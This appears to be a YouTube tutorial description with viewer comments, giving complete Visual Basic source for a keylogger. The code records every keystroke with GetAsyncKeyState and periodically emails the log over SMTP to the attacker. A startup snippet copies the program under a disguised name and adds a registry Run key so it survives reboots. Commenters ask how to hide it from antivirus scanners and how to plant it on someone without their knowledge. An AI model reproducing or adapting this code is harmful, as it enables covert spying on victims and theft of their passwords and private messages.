How to make an Email Sending Keylogger In Visual Basic 2010

If you have any comments/questions post below
(update)
Here is a working code to make the keylogger startup with windows:
Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath) My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\status\" & "Status.EXE", True) Dim regKey As Microsoft.Win32.RegistryKey regKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("UpdateStatus", Chr(34) + "C:\ProgramData\status\" + "Status.EXE" + Chr(34)) regKey.Close()

You can change status or Status to whatever you want as long as it does NOT have spaces and you make sure if you change one status or Status that you change the other to the exact same thing or this will NOT work.
(update)
Heres the codes in a txt file because YouTube messes them up: http://www.mediafire.com/?c0wo5co055zy0sc

Code:

Imports System.Net.Mail

Public Class Form1 Dim result As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16 Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then RichTextBox1.Text = RichTextBox1.Text + Chr(i) End If Next i End Sub Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick Dim MyMailMessage As New MailMessage() MyMailMessage.From = New MailAddress("your email") MyMailMessage.To.Add("your email") MyMailMessage.Subject = ("Keylogger") MyMailMessage.Body = RichTextBox1.Text Dim SMTPServer As New SmtpClient("your smtp host") SMTPServer.Port = 587 SMTPServer.Credentials = New System.Net.NetworkCredential("your username", "your pw") SMTPServer.EnableSsl = True SMTPServer.Send(MyMailMessage) RichTextBox1.Text = ("") End Sub
End Class

Category:

Howto & Style

Tags:

• keylogger
• visual basic
• email
• email keylogger

[sYKoDyNaMiiCs1]

@facebookfriendfounde where did u write the code for it to startup at boot?

[GhostHackz]

@OperatorJaell Take a Look: watch?v=2IBRq9Di4wo&nomobile=1­

[OperatorJaell]

can u make me one cuz this is too hard for me

[m1k3l0v3sm4ck3nz1e]

is there a way make it undetectable so virus scanner cant find it

[meshining1]

cant find getasynckeystate in DLL user32.":""}

[meshining1]

i have the same problem what can we do??

[3vilL33T7]

Unable to load DLL 'user64': The specified module could not be found. (Exception from HRESULT: 0x8007007E)

[xXQiKsOpz4LiFeXx]

can you help me whenever i type it only says i typed like the o in notepad and it sends me emails of this
not letters just

[xXQiKsOpz4LiFeXx]

why am i getting 1million blue squiggly line errors this is FUCKING PISSING ME OFF

[ThePujs]

@latoonia Get nerdy antivirus.

[TheTuranli00]

With this tutorial can I send it to someone else? without letting the person know?

Thanks!